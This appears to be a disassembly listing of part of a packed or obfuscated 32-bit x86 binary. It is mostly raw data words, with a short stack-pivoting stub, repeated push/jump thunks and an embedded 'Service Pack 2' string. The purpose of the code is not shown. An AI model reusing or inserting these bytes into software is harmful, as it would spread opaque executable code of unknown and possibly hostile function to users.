		dd 99D94675h, 5A4FCB53h, 3BC231F6h, 82FA62FFh, 42B0h, 0E79AAA00h
		dd 0A838423h, 336E9906h, 5B5270EFh, 443948D7h, 0A1113BC0h
		dd 0BC2BEFA2h, 9512168Fh, 6DFA3E79h, 0B1DC205Bh, 0D25EED4Ah
		dd 0BED555E7h, 0D2A7Ah,	8C400000h, 4E3F401Fh, 0C1F9B4D1h
		dd 6745CF45h, 7B043467h, 253A5249h, 15E6E29h, 0EE718904h
		dd 0D5AAA2DFh, 0BCC3FBB6h, 98E7178Eh, 4718306Dh, 1F275746h
		dd 6E6B68h, 241C8900h, 5E08950h, 4, 42Dh, 24048700h, 242C895Ch
		dd 0D8168h, 240C8900h, 4EC81h, 34890000h, 3CADBE24h, 0F5890617h
		dd 4EC815Eh, 89000000h,	4812424h, 424h,	93685900h, 89000009h
		dd 8BA2414h, 1000000h, 5A2A89CAh, 51240C8Bh, 0C181E189h
		dd 4, 8704C183h, 8B5C240Ch
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		dw 4A37h
		dd 4134B823h, 0C5030617h, 51E9C88Bh, 60000000h,	2424748Bh
		dd 8B3C7603h, 8B28247Ch, 0F8C281D6h, 66000000h,	0F064E8Bh
		dd 0F983C9B7h, 16840F00h, 3B000000h, 8F0F0C7Ah,	15h, 8B28EA83h
		dd 4A8B0C42h, 2BC12B14h, 247C89F8h, 8C2611Ch, 28C28300h
		dd 0CF850F49h, 0E9FFFFFFh, 0FFFFFFE9h, 9FD3EBAh, 0E900EB00h
		dd 693h, 687E9h, 435D6800h, 0A9E90617h,	68FFFD3Eh, 6174489h
		dd 0FD3E9FE9h, 451F68FFh, 95E90617h, 68FFFD3Eh,	6174602h
		dd 0FD3E8BE9h, 475568FFh, 81E90617h, 38FFFD3Eh,	16919508h
		dd 0EB74B8F5h, 0C661A5E0h, 0DE49CDC8h, 0AD2EF2AFh, 910C3B8Bh
		dd 0B8F5128Dh, 0A4DFEB74h, 0D6C5C760h, 5BC42752h, 55E7D0E8h
		dd 75D286Bh, 6FD539C0h,	2040E85h, 0F09286B9h, 0F43A4A53h
		dd 0E588A7F2h, 585CEF48h, 73D753F0h, 79C8C54Fh,	0BD53F058h
		dd 960D3B42h, 0F058E457h, 191B7F53h, 0F058AC9Ch, 0B6F76253h
		dd 53F0589Bh, 0D004C618h, 0E266332Fh, 86B934FEh, 7853F09Dh
		dd 53F09DC6h, 0A4527108h, 74D0E8A5h, 56DC3850h,	0F09DD867h
		dd 335514D3h, 0E302BA78h, 9D162582h, 52ADD3F0h,	0C9567A37h
		dd 0ACDFC3BEh, 9D45F431h, 7ADED3F0h, 0CD9C0FB8h, 4431C3BEh
		dd 0C9DC98CAh, 667AEC64h, 949BBF51h, 24FA2EA1h,	0AD670E36h
		dd 53900355h, 5A560335h, 4A460536h, 305CCB4Fh, 0CDD4575h
		dd 0EB0F8683h, 0EEB357D0h, 3B44CFC8h, 0E266960Dh, 0D5439FEh
		dd 0FC6CE302h, 4B72Eh, 970A3A00h, 0BAF31493h, 0A3DEE976h
		dd 0CBC2C05Fh, 0F4A9D847h, 3181AB30h, 0C9B9F12h, 0E58286FFh
		dd 0FD6AAEE9h, 214CD0CBh, 0D1EE5DDAh, 2E6555E7h, 216567EAh
		dd 0F092B584h, 264ACE53h, 93AB9716h, 19A653F0h,	0FAB1D3F2h
		dd 7AC956C1h, 0F953F093h, 4CDB9F95h, 344B433Ah,	2F5E6012h
		dd 0C8D1491Fh, 5B35462h, 0FE4DEAE1h, 7553F008h,	82DDED11h
		dd 68FE0E83h, 409BFA38h, 69988731h, 54830434h, 7483F53Dh
		dd 0A1DCEE1Dh, 6A2BF15Dh, 0F94B8595h, 61000003h, 0C2CD6567h
		dd 732A58C7h, 0A3DBFF5Bh, 0F0923802h, 3E4D3C53h, 0F09F9510h
		dd 25586A99h, 0DA35B4E1h, 0B0F3E58Ah, 0DF48E0EFh, 0BB3AF8B3h
		dd 53F05988h, 505344Ch,	457566A4h, 79AF5DECh, 0A0725D93h
		dd 24FC0E40h, 8BF6DCD7h, 0FC085767h, 0E0E27D81h, 5F2E9DADh
		dd 34427A31h, 3B949535h, 0DA587C5Bh, 0B77B0DE2h, 57671628h
		dd 7E82FB08h, 2615920Dh, 0BD53F016h, 486C2122h,	1674CBCAh
		dd 375453F0h, 37D64E7Eh, 0A9ED4A41h, 4249DCF1h,	0DF5E39FEh
		dd 6766915h, 38B34h, 0A3DEEE00h, 0CEBFC05Fh, 0F7B2DD4Ah
		dd 1F96B433h, 7D8C1Bh, 0ED557FFCh, 0C05FA3DEh, 0D946CAC3h
		dd 0B12EF2ADh, 7D181C8Fh, 0D692A10Eh, 0E21155E7h, 3665673Eh
		dd 0AF477906h, 7ADEEE9Dh, 2C592656h, 0DC0A5A71h, 0AE9D1AA2h
		dd 2553F0EBh, 4846CF21h, 1A63171Dh, 53F0EDE3h, 0F01C221Dh
		dd 88050253h, 1C0E3170h, 57C253F0h, 0F01C7BD6h,	2283F853h
		dd 53F01C17h, 8E84A8ACh, 2B5AD736h, 1D017C8Dh, 364569EDh
		dd 0DCC749E9h, 0A166EA49h, 6915D0D0h, 0F56230A8h, 78000002h
		dd 56D15548h, 2BB47835h, 6A16520h, 1E898D08h, 0ED6EB2EFh
		dd 514C7BCBh, 783552CDh, 641F2BB4h, 960507A0h, 1B84E792h
		dd 55E7D728h, 8BA468ABh, 0AEDED7F4h, 1133E82Ah,	0EB1A619Ah
		dd 4B433E4Dh, 5D69ABCFh, 7D8D0002h, 9EAEE3E2h, 0BFCFC2C1h
		dd 0A7DF92A9h, 1A3DC166h, 99B5D43Bh, 7784FA1Eh,	0ACDFE120h
		dd 881ECC68h, 59B88595h, 74000002h, 0F09286B9h,	0EFAAA653h
		dd 0ED1A61DCh, 3D3C98B0h, 53F0920Eh, 0C7738185h, 7D8A2C58h
		dd 55770800h, 8EB21626h, 10D526Ah, 0EF407686h, 0A4CB7490h
		dd 2D88F1B7h, 0D337476Bh, 3453BA41h, 3D999D18h,	859580EFh
		dd 598Fh, 0FD8B2500h, 7FB881FCh, 53F0CACCh, 282DC347h
		dd 8D21F32Ah, 0B2F3087Ch, 49DC70BCh, 7CE5135h, 0FF691666h
		dd 212BD8Fh, 65650000h,	4879E62Ah, 3B56D155h, 1F2DBA7Eh
		dd 807A064h, 260A9195h,	0F83C7190h, 0E72B626Fh,	0CD514C78h
		dd 0B97D3052h, 71C06DDCh, 0F255E7D4h, 16955F41h, 0F092A289h
		dd 3E4D3153h, 92D762C3h, 0E86C53F0h, 52299A2Ah,	0C898630h
		dd 59752AE8h, 3B4DDA5Eh, 3FD04840h, 2E5AC549h, 0E30AF73h
		dd 95B65B6Dh, 0F01F3908h, 40D6BA53h, 375B31BAh,	0B7D2A904h
		dd 8C40F3FAh, 7FC353F0h, 0D2EAA3A0h, 7F00BC76h,	0C728A952h
		dd 71890400h, 237D0315h, 73CE6F9Ch, 0F053F058h,	0C9A4688Ch
		dd 58063572h, 0B99D53F0h, 0C3CFFB82h, 0F058D762h, 0C4E86C53h
		dd 0E6E17E4Eh, 551467ABh, 0C84C7C37h, 1F9C724Ah, 783BBF2h
		dd 36BE9D11h, 769AA54Dh, 840E3946h, 0F0E8281Bh,	83A7AB53h
		dd 0E80F3E7Fh, 39C853F0h, 0BECD3853h, 61E51590h, 50F8A86h
		dd 0DC0F7688h, 609BFF49h, 86B5E819h, 33BF8A2Bh,	159655E4h
		dd 64BC4082h, 0E72D1165h, 1A93B433h, 0C4719DE2h, 3C86A2A3h
		dd 0C9566512h, 55E4697Ah, 597195F9h, 7F8C0906h,	68AAE3E0h
		dd 337CEF5Ch, 55E46900h, 0A675BF83h, 66DEEEABh,	6FDAF187h
		dd 8CBCF110h, 8B8B0A08h, 0E44FC896h, 7EE29F60h,	4EBE6301h
		dd 0BF7Ch, 9F123200h, 82FB0C9Bh, 0ABE6E17Eh, 0D3CAF867h
		dd 0FCB1D04Fh, 2999B338h, 4A3671Ah, 1D8A8E07h, 0F572B6F1h
		dd 3954D8D3h, 0D5D665C2h, 266D55E7h, 366567E2h,	0AF477906h
		dd 75D1E9A4h, 6ECF3A51h, 53F092D3h, 8626EC50h, 0BDCC2350h
		dd 64FB108Bh, 4968D863h, 0EFEA38CBh, 0C157B3CBh, 0AF133036h
		dd 8C44CE09h, 94EAFA20h, 268485h, 0D2A90000h, 0F34EEFB5h
		dd 7053F0C0h, 74D0E80Ch, 0EEA7BFA2h, 93615E30h,	9285B9A9h
		dd 0A3A553F0h, 10F624E8h, 7C000000h, 0F09286B9h, 12A4A653h
		dd 783BBF6h, 0CFD51FE3h, 16E5FCh, 5ECD0000h, 92F742E3h
		dd 0ACA753F0h, 0AF4B9DF1h, 24648C54h, 0E953A1C5h, 4346767h
		dd 3A52497Bh, 5E6E2925h, 71890401h, 0AAA2DFEEh,	0C3FBB6D5h
		dd 0E7178EBCh, 18306D98h, 27574647h, 28B1681Fh,	24890000h
		dd 4BA5224h, 1000000h, 5A042454h, 5E08950h, 4, 8704E883h
		dd 895C2404h, 0B2682414h, 89000002h, 68572434h,	7C63464h
		dd 0DFBBA5Fh, 0FA01FE51h, 4EC815Fh, 89000000h, 4832424h
		dd 535E0424h, 8BBh, 0A0C38100h,	12C6813h, 0A0EB81F3h, 892C6813h
		dd 34FF5B13h, 0C4835E24h, 2434FF04h, 4C4835Ah, 0FD3833E9h
		dd 9DE8A0FFh, 88298EF6h, 174839B8h, 8BC50306h, 146E9D1h
		dd 42550000h, 0ECE758EDh, 5893DA95h, 0CFDF0671h, 54FDBEB6h
		dd 0A436365Dh, 0D500BCECh, 0D352C55Dh, 94A4D676h, 0C44100FCh
		dd 0CB50C1AEh, 0AC325277h, 0BF009CACh, 0ADFC6C46h, 36597390h
		dd 0E275D6A3h, 90BD9C72h, 0E693DD00h, 92A79B8Ch, 0ABDD64A5h
		dd 8F9792A7h, 5CFC7A91h, 0E496B9F9h, 0E4B59BB1h, 92B69F47h
		dd 0F694B6E5h, 0EBB59EBDh, 0D0EC96B3h, 0BF999C93h, 5CFD7B97h
		dd 0F49389F5h, 0CD00EDAFh, 94A6E3B2h, 0C3B5D4E5h, 2D445700h
		dd 29B0F362h, 2CAEh, 3400h, 3800h, 2 dup(0)
		dd 400h, 9400h,	500h, 100h, 0A2800h, 200h, 72655300h, 65636976h
		dd 63615020h, 32206Bh, 1Fh dup(0)
		dd 2076E9h, 4C356800h, 0C9E90617h, 68FFFD36h, 6174D24h
		dd 0FD36BFE9h, 4E0268FFh, 0B5E90617h, 68FFFD36h, 6174EBFh
		dd 0FD36ABE9h, 4F9C68FFh, 0A1E90617h, 68FFFD36h, 6175075h
		dd 0FD3697E9h, 513068FFh, 8DE90617h, 68FFFD36h,	6175229h
		dd 0FD3683E9h, 561E68FFh, 79E90617h, 68FFFD36h,	6175685h
		dd 0FD366FE9h, 580068FFh, 65E90617h, 68FFFD36h,	6175ABAh
		dd 0FD365BE9h, 5E4A68FFh, 51E90617h, 68FFFD36h,	61761D1h
		dd 0FD3647E9h, 633168FFh, 3DE90617h, 68FFFD36h,	61763A9h
		dd 0FD3633E9h, 641468FFh, 29E90617h, 68FFFD36h,	617647Bh
		dd 0FD361FE9h, 660768FFh, 15E90617h, 68FFFD36h,	6176713h
		dd 0FD360BE9h, 68F968FFh, 1E90617h, 0B8FFFD36h,	96111588h
		dd 6BF43875h, 46E12560h, 5EC94D48h, 2DAE722Fh, 118CBB0Bh
		dd 3875920Dh, 245F6BF4h, 564547E0h, 0DB44A7D2h,	55E7D868h
		dd 6764A8EBh, 79063665h, 0B0D05447h, 0A5102B51h, 0DFEFAAA6h
		dd 723CB97Bh, 0FB49DC63h, 7C66797h, 2755E483h, 45B732Ah
		dd 0DA7E8E07h, 0D10C167Dh, 4D93DF36h, 0A98BA899h, 9B42F13Eh
		dd 7DC155E4h, 4D34B7h, 80E00000h, 3869E961h, 0D04B0B4Ah
		dd 1E9FACh, 4149DC78h, 54720406h, 81A52159h, 4E40FF89h
		dd 41CF96E5h, 617CB5Dh,	0FB0BA224h, 0A6A5A4D7h,	2A85D3EBh
		dd 0FC2D9FFFh, 0E2C25074h, 0E445FC43h, 98FF1E55h, 0A963945Ah
		dd 0D9228Bh, 678E0000h,	79063665h, 0B427574Ah, 161C97B5h
		dd 24544779h, 1C96A8B7h, 84B4F1h, 0CD9AEC1Ch, 0F4F0E84Bh
		dd 48070D31h, 0FAC34736h, 53F0188Eh, 0AB6F1E20h, 1B840A3Ch
		dd 53F00128h, 8B83A7ABh, 7586F213h, 54DEDBF6h, 6361F86Bh
		dd 4FEBEA28h, 0E049DCE9h, 0AC196F9Ch, 0C16205CAh, 0CBBB7FB5h
		dd 0F03D4E3Ah, 4FCB709Fh, 83B64D7h, 205FDBF3h, 0FA5E6E1Fh
		dd 70708286h, 6160FF0Ch, 3F401F2Ch, 4DDA3E4Eh, 0D1354540h
		dd 0F9089743h, 307E8384h, 0AA0262FFh, 1D8398h, 7F325200h
		dd 621B2CBBh, 8B06019Eh, 0B3EA1887h, 0DCD1F06Fh, 49F9D358h
		dd 24C3473Ah, 3DAA6E27h, 15929611h, 1974B8F3h, 0DE3605A2h
		dd 64D55E7h, 0D4FD8B82h, 0FF8E4579h, 0F514CB49h, 0D9EB74B8h
		dd 80945EA2h, 47E01B61h, 49DC6CD7h, 48172428h, 1588B93Bh
		dd 228323F1h, 55E49C1Bh, 0FBF71EF9h, 8BA89A35h,	0D4C9FA81h
		dd 90CB06A7h, 0C44855E4h, 0B3BD4Eh, 0B2C20000h,	0E2D429F1h
		dd 3003AC05h, 0B355E44Eh, 0E769ABCFh, 6366567h,	27574A79h
		dd 0F0978A86h, 6B222453h, 970638A7h, 61EEFF67h,	0F3082C5Fh
		dd 0EE24616Ch, 0EA1B62DDh, 0D27461B3h, 6B49DC7Eh, 826323E7h
		dd 2658C5F6h, 2F4FCBEBh, 940102Bh, 9A153185h, 0F8605F84h
		dd 4F1E893Ah, 0C3304843h, 0DADDD762h, 0C4E86C5Fh, 3F72914Eh
		dd 205D6CFBh, 42E4DFh, 7E4CBC63h, 1C94h, 0C4484343h, 0AF732A5Bh
		dd 94981530h, 8286FD0Bh, 67ABE6E5h, 4342F0E4h, 305DCA4Eh
		dd 1A36B175h, 0FA0C9B9Fh, 0AF127F83h, 0E7DF330Eh, 9903B055h
		dd 0F1356867h, 0D5595476h, 3665671Fh, 0FD3A9506h, 53F0924Eh
		dd 1CB341C5h, 0C87BA4EAh, 4B53F092h, 2C5FA3C7h,	0E09DAAB1h
		dd 0DE6D6CE8h, 5553F092h, 8A82FF0Ah, 0A28EA0Eh,	0E647B267h
		dd 53F0926Bh, 16AE64E8h, 2D8A81F7h, 49DC6BD9h, 8EDDEE52h
		dd 700D0782h, 72050833h, 5226C719h, 1976FC39h, 69FF8B7Eh
		dd 0B636169Dh, 0E30EFB3h, 0C7EB6F9Fh, 0CABE4FB7h, 3A0E46B1h
		dd 0C4F389F7h, 0AD9C1932h, 269B46BFh, 8CE5D022h, 0A7816A73h
		dd 0FAD86BB4h, 0F75B9D3Ah, 9FA1B8D3h, 0C5328ECh, 0D18E8401h
		dd 4A3BFCAFh, 66A06029h, 1BB624F6h, 65650000h, 4879E62Ah
		dd 3B56D155h, 1F2DBA7Eh, 807A064h, 260A9195h, 0F83C7190h
		dd 0E72B626Fh, 0CD514C78h, 0B97D3052h, 71C06DDCh, 0F255E7DCh
		dd 65675F41h, 4F9E0636h, 0C1A50239h, 7A49DC96h,	0E2791216h
		dd 3793ABE6h, 96A89B04h, 272B55E4h, 78B047EDh, 4FE8E369h
		dd 4FC86F3Bh, 79FDFD8Bh, 32DD655Eh, 0BF4E80E0h,	7327341h
		dd 9C5FD8EAh, 0D78066B8h, 6C5AE936h, 75D95FD8h,	461E2D51h
		dd 88F6F75Fh, 2ADB5949h, 690DBB0Dh, 1F6D7C06h, 0E0CB43ECh
		dd 20249A05h, 2B51B028h, 0C47E9710h, 8DF19031h,	0AEDDEF7Eh
		dd 22CBFD6Ah, 63474864h, 59DEC2D4h, 8F28A472h, 0F980920Ah
		dd 0D800001Ah, 0B631F5A8h, 8B141895h, 66010580h, 7EE92D68h
		dd 4DCE524Fh, 0F1ACDB6Bh, 1895B22Dh, 47F8B14h, 36656700h
		dd 0FB2487F2h, 55E7DC48h, 670488CBh, 46053665h,	0FBCB4944h
		dd 7A016283h, 25145548h, 0BE53F092h, 3504A1DAh,	4E53F092h
		dd 895A6CAh, 49DC75CEh,	99A8F560h, 1A55E4B4h, 8084FC36h
		dd 3CEA9A7Ch, 3ACDFADh,	4FC84DF7h, 0E053DC4Fh, 0C85FD8BCh
		dd 4ECAC2BBh, 0E41C167Ah, 6366D9Bh, 0F26D9E82h,	0D8BC86B5h
		dd 0EE391D5Fh, 3397A7E2h, 0CA2704E1h, 313361F5h, 1697A4D0h
		dd 0E10C8800h, 65DDED51h, 5ADBF084h, 0E738AC35h, 0AAE7E279h
		dd 84FC3692h, 41188B80h, 1291BF40h, 9B3F4232h, 0DCEEBD77h
		dd 0B5D3AAA1h, 0C84ACEFEh, 3E6D9F08h, 30AC1CF9h, 7644B4BAh
		dd 1A1Ch, 4CD0CBFBh, 37FBB2D3h,	1CE09DA8h, 0A0E8583h, 0EF336E9Dh
		dd 0CBFA486Ch, 0B8D552D6h, 0A2AE39FDh, 828423E7h, 176A070Bh
		dd 0E7DDBB96h, 119B3855h, 0AC9F188Bh, 2753F092h, 9258EB34h
		dd 77DB53F0h, 0F80AC153h, 3054517Eh, 3B41A018h,	4987A700h
		dd 543849DCh, 4F922ED0h, 0D079E339h, 141E7A45h,	3B41A0h
		dd 2F330370h, 9DB46A21h, 6B54DE2Fh, 0C87AB8CAh,	7CCDB14Fh
		dd 1BDE6A3Fh, 0A7A3BA5Ch, 7F8E26ECh, 0F887F209h, 69242FC9h
		dd 0B9D1F551h, 50E6D75Dh, 8140B6A0h, 0D4FF8EBDh, 0F86B5BD9h
		dd 0E82A6561h, 0CFB535D4h, 0FBB6D53Ch, 9BD147C3h, 5365A8Ch
		dd 0A2FB7398h, 6398FC46h, 3E4DEF1Ch, 0AB2F5F43h, 0FD0F5E69h
		dd 0EB1D8A8Eh, 0B09C6FB0h, 0B4245997h, 1943E6h,	0BFF21200h
		dd 0A2DBEC7Bh, 0CBC6C15Eh, 0F3AAD847h, 1C91B02Fh, 9B99318h
		dd 0E48387FAh, 0FD6AAEE7h, 0D552D6D1h, 5934F8B3h, 0C2F645E2h
		dd 0C60D55E7h, 366567C2h, 394F9E06h, 6DA5A502h,	81DE49DCh
		dd 20E40883h, 608137FEh, 0F574E714h, 0D36ECFD3h, 5055E482h
		dd 54B0C8ECh, 7BABDFDEh, 0D8BC4FC8h, 4E5CD5A3h,	848165EDh
		dd 0CCBEFF8Eh, 9CB8122h, 275677F8h, 0CE9D0803h,	4F4EC4C1h
		dd 0D62DDEC7h, 0AC142428h, 0A11C2F5Dh, 0C5F5A8DAh, 0E41489BAh
		dd 0C7B67C60h, 0EFD9E2AEh, 0BFCEFD41h, 6BEF1F8Eh, 3D4F1EA9h
		dd 862C13BCh, 0CFF3CBB2h, 0F3AADC4Bh, 1170632Ch, 9DAF1FC3h
		dd 1888h, 0C0443757h, 0B3772627h, 989C1934h, 868A010Fh
		dd 73B7EA19h, 4F7EC4E8h, 3451CE52h, 1E2AB579h, 0FE009F63h
		dd 93EE8B8Fh, 0E7C32712h, 0AD17BC55h, 0C2CD6567h, 67970E3Ch
		dd 4BCFFFE3h, 5EAF1727h, 4294112Ah, 9B49DF28h, 4B433A4Ch
		dd 2590ABCFh, 3BBF2A2Fh, 2EE498A5h, 0D85C4F71h,	44F730A3h
		dd 0DF55E7E1h, 9D3CB97Bh, 5A55E7E0h, 900D3A8Fh,	34F81C78h
		dd 7495D447h, 44850139h, 55E7E1F5h, 53080A0Eh, 3A417A31h
		dd 7B52620Dh, 6812B9F9h, 5ED03444h, 0D79B17A8h,	0F4BC76A0h
		dd 0FC0F7D8Ch, 0D2CFFA81h, 0E7DDB88Bh, 0DD573B55h, 671145E2h
		dd 66EA4FC8h, 6463FA55h, 0CCFCB1D2h, 0B0142448h, 1A9CAD62h
		dd 0CB06A7EDh, 485FDE0Bh, 8FBCA0C4h, 42FDD1F9h,	1F154144h
		dd 0C2BBCC5Bh, 0F93B5CAh, 2C5C5170h, 8A92A1A8h,	2D115FDEh
		dd 7A470609h, 6FDF62FCh, 178F5Dh, 433E4E00h, 6E1F20BFh
		dd 97123DAAh, 0BFF61493h, 0A0DDEC7Bh, 4DF5DF5Ch, 20BF433Eh
		dd 39A66A23h, 118E920Dh, 1D78BCEFh, 0C03201AEh,	2B155E7h
		dd 1B61809Eh, 336E99E0h, 0D59C6E1h, 0C649DF28h,	0C9ACFAB0h
		dd 1251D5C0h, 7D9D377Dh, 8FBCA0C4h, 2724CEF0h, 0D6FA5E6Eh
		dd 0A9D73252h, 39B9CB92h, 0E0649407h, 0CA48CCFCh, 0C691BCF9h
		dd 361A55E7h, 0C69BA706h, 868755E7h, 6D98E717h,	0A1EE1830h
		dd 7AE5C04Ah, 0DD19C713h, 67A58BABh, 0CA000000h, 8B02005Fh
		dd 0E7DEF742h, 0A080C55h, 1F658000h, 92F443ECh,	0B0F53F0h
		dd 928BB2F3h, 326953F0h, 5EC96F22h, 3FF5E32Ch, 0F3393950h
		dd 83859542h, 32h, 8B1DC090h, 0A5687434h, 188BE56Fh, 0F092AC9Fh
		dd 0D0D12753h, 1CAC71B1h, 0D4C15377h, 53F0716Ah, 0B2D15EAFh
		dd 274BCFFFh, 726F8B14h, 0BC8049DCh, 6180BA78h,	0F675E01Bh
		dd 0D2ADDDD8h, 48CCFCB1h, 0EFEFEE24h, 49DC7Dh, 51730C3Ch
		dd 0D3EBA6A1h, 50CF5377h, 0A83842Eh, 597296F2h,	0C7FBF60Bh
		dd 0F233037Dh, 55E44747h, 0DE5478DCh, 3F7291EEh, 85EC4B0Fh
		dd 0C5494446h, 0E598B7B6h, 5F4E702Fh, 0D056B72Fh, 0ACF4C35Dh
		dd 0D2E90D73h, 0F6067D8Bh, 86278092h, 4FC8723Ch, 8810A335h
		dd 1D138ABCh, 0A0C4E485h, 0FDB8D4ABh, 1C91B2CDh, 0CE4468ECh
		dd 306B9D0Ah, 0E88B9918h, 2358D717h, 57C477B0h,	0FB5FD7AEh
		dd 0C3B5239h, 0F88883FAh, 3871EBC2h, 7939FBE4h,	0A9A1DCEEh
		dd 0CDFDB8D6h, 0E21A97B2h, 0B9CA6C9Dh, 2C50B4C4h, 749B441Ch
		dd 5A7E3955h, 90AFC635h, 80FB3F6Eh, 99F98AF0h, 6DA79D7Ch
		dd 0F9118CBEh, 0E3EF6081h, 26C37EBFh, 0FC40D7AEh, 1487B4D8h
		dd 4F7F3A55h, 0BA4C49CBh, 0B3CD82CEh, 5EEC5FD8h, 0E367D982h
		dd 351CCFFh, 3474FC57h,	55E4E536h, 0EED9828Dh, 7FE8A86Ah
		dd 572D5E4Dh, 38A2ADB1h, 13936130h, 35463F4Ch, 0E6DA53Fh
		dd 41D3DE82h, 0D3AA2165h, 0B3CCFCB7h, 3AF81C97h, 70E33E55h
		dd 821B0437h, 79BB9FD9h, 29EDA0A2h, 0DCEA8CBEh,	158DBDA1h
		dd 564D7BF4h, 8DBEA226h, 0CB06A712h, 48D9821Bh,	779B123Fh
		dd 0F7D630BDh, 0EB6FC3AEh, 37E89D0h, 0CD858F0Bh, 4D7D3052h
		dd 763651ECh, 5C4F71D3h, 7A31532Ch, 0EBE39EADh,	9DA5CC93h
		dd 0CEA2B2A9h, 93DFFD54h, 90E7848Eh, 0D85C4F71h, 3048434Fh
		dd 3D7A202Fh, 0F376360Eh, 6D9D8185h, 0D6F51CBBh, 0AC3BFFBAh
		dd 7BD6E5A0h, 76360F3Ah, 507B84F3h, 0BDA12555h,	1A283777h
		dd 0F3146B63h, 0CEFD82BAh, 7E3754D3h, 42A9364Eh, 65890403h
		dd 80BFD681h, 9A050984h, 0A31B336Eh, 2D5A2142h,	0FDFC5870h
		dd 0F376364Eh, 36162582h, 0A9ADF376h, 7D8AD5h, 62C3F81Ch
		dd 0E95AD964h, 681B99Dh, 8581C0D7h, 1A75060Ah, 6A51AE9Dh
		dd 27F8EF5h, 9348CA4Eh,	7A013A71h, 0A226564Bh, 0F90B5450h
		dd 0A31E8982h, 6A513702h, 81C84CF5h, 0F56A51B2h, 0E7C74D31h
		dd 5C6B8231h, 3AF732Ah,	2C2F4FDDh, 2BF9h, 6B673700h, 0D4AB1830h
		dd 8135FFB6h, 97A20360h, 2C53F092h, 0B6F70428h,	49DC95F0h
		dd 0C3191D61h, 19h, 47789D0h, 988290F4h, 18306B67h, 3B41A0h
		dd 0DC90EBA7h, 0F4381C49h, 0A1571E3Eh, 78073440h, 0E1C2504Dh
		dd 0DC6B3244h, 3447CB49h, 0E1B4C13Ch, 9B79AFE2h, 0ABDD4A97h
		dd 0E24322F0h, 61571957h, 4CFF38ABh, 6CA93701h,	0EF53275Eh
		dd 1E053DCh, 1F63A937h,	0CF40A115h, 95A6CAC1h, 1BFD0208h
		dd 0DFEF53B3h, 85B4F16Ch, 1E532B0Dh, 25C4F83Ah,	0BBC92457h
		dd 0F87E9D5Dh, 0DADB596Fh, 490718B5h, 0DAA1DABEh, 0B631F5A8h
		dd 61161994h, 21683B10h, 139AFBC9h, 49790000h, 3455D256h
		dd 1F2AB579h, 3019E62h,	0EC1B8488h, 0CAEE6DB1h,	0CC504D7Ch
		dd 0BB7F3653h, 0A165202Ch, 85890406h, 251491E8h, 0BE55E7C4h
		dd 8AB99315h, 4553F093h, 7ABBD0A4h, 49DC96F0h, 67E61579h
		dd 73EC306Bh, 0BF2C5C57h, 0D2EAA3A0h, 0DDEFBC76h, 94CD7CB9h
		dd 0C24655E4h, 8BAE59DEh, 0D6466916h, 1333C4h, 0AFE2E200h
		dd 0D2CBFC6Bh, 0FBB6D14Eh, 0E39AA837h, 0C81801Fh, 19A98308h
		dd 0F473B7EAh, 0CD5ADED7h, 0A542C6C1h, 4924E8A3h, 0C486B5F2h
		dd 0F61D55E7h, 9F188B32h, 53F092ACh, 0A9CD2327h, 13588248h
		dd 0AA3B7381h, 0E00ADDEh, 6749DC6Bh, 9398ABF4h,	371B55E5h
		dd 6061F813h, 4D7EE92Dh, 25273850h, 12C14676h, 0C2BBCCFBh
		dd 0CE81BBC9h, 0EF483E2Ah, 18B6D25h, 8F2F5D2Ch,	9BFF0F7Eh
		dd 0FD09BD77h, 0D0CBC786h, 2E1D5CB8h, 0A555E5F5h, 0FF8EBDA1h
		dd 6C2924CEh, 5ED4F85Ch, 0A2ADBCAFh, 84B4F11Ch,	68EC1C00h
		dd 0D9D4F5AAh, 0F3AADBA2h, 9B57FDBh, 0ED592F9Ah, 2D284662h
		dd 4641F0F9h, 7EC255E5h, 460539B4h, 2B1455E5h, 1CDE3F5Dh
		dd 9D81522Ah, 5452C43Ch, 600F0560h, 0D4C9FA09h,	0C7B6D750h
		dd 38BE4FB7h, 5208CAA9h, 281B84A6h, 0AB55E54Dh,	6C9F83A7h
		dd 0CAF7B7C3h, 4B36484Fh, 0ED2E6A9Dh, 59205B7Fh, 0DBB07427h
		dd 0C7F3F28Dh, 25EF1438h, 21595476h, 2F5C28B9h,	0F254F18Eh
		dd 17363545h, 0A414629Ah, 15E507A4h, 0FE0F183Ch, 197D858Fh
		dd 9B0477E2h, 41B46CA8h, 3EED272Bh, 0F7A910Ch, 0B46C93AEh
		dd 0E62C1041h, 1893B532h, 0F46978E0h, 0B46C98ABh, 87201B41h
		dd 41B46CB4h, 14274BCFh, 0B46DB88Bh, 33573B41h,	0BCC79F18h
		dd 4085B98h, 0D1626203h, 0BC8EFE56h, 11B8h, 0F0346767h
		dd 0E3275677h, 0C84C4944h, 0B67A315Fh, 0A3671A29h, 7F8E3418h
		dd 6461FE02h, 4E7AE529h, 2E50CF53h, 63DEBB7Fh, 0E7CA77C2h
		dd 5D478C55h, 0F09291B9h, 0E29DA953h, 87F26D1Eh, 0F0922B26h
		dd 0A5A4A853h, 53F09296h, 0D3EB292Dh, 0E8354632h, 49DF2B03h
		dd 4C13282Ch, 0AD2FB641h, 0BCC66786h, 545E9498h, 86148086h
		dd 4D9980D0h, 0C41363C8h, 144BD4Eh, 807B0000h, 8B5B196Fh
		dd 0F092102Ah, 0F57FD353h, 3C57A18Bh, 0C77192E9h, 9FAFD3CAh
		dd 0B3CBC2C0h, 0F0FD3357h, 462A599Dh, 80CD37FDh, 76E11A6Eh
		dd 95A5D8F7h, 92192831h, 963853F0h, 0EA003DB2h,	11E3675Bh
		dd 80442E2Fh, 9CE31864h, 0BE1A326Bh, 6349F274h,	94809654h
		dd 380088h, 80AC0000h, 0ABE6E16Eh, 188BCD87h, 98B34341h
		dd 0BA3BF91Dh, 53F09280h, 8B4F0509h, 92AC9F18h,	232753F0h
		dd 67C2D6D1h, 4AA3316Ch, 2E2A60h, 62F90000h, 0BA1E2E63h
		dd 6E80F678h, 2A8B581Ah, 53F09210h, 622F8DD3h, 0DFB18E8Ch
		dd 188B39BBh, 94B14541h, 41C5F519h, 6C6749B3h, 604AA331h
		dd 94809654h, 480088h, 80AC0000h, 95E31864h, 0E503D4A6h
		dd 74FE341Bh, 92102A8Bh, 86DE53F0h, 1B373E97h, 0FDA8E60h
		dd 65E9191Bh, 0DD811E56h, 0A5E17424h, 0A18BE56Fh, 4376667h
		dd 0C94B4645h, 95FD8B47h, 231686F0h, 0F13BC54Fh, 332Ah
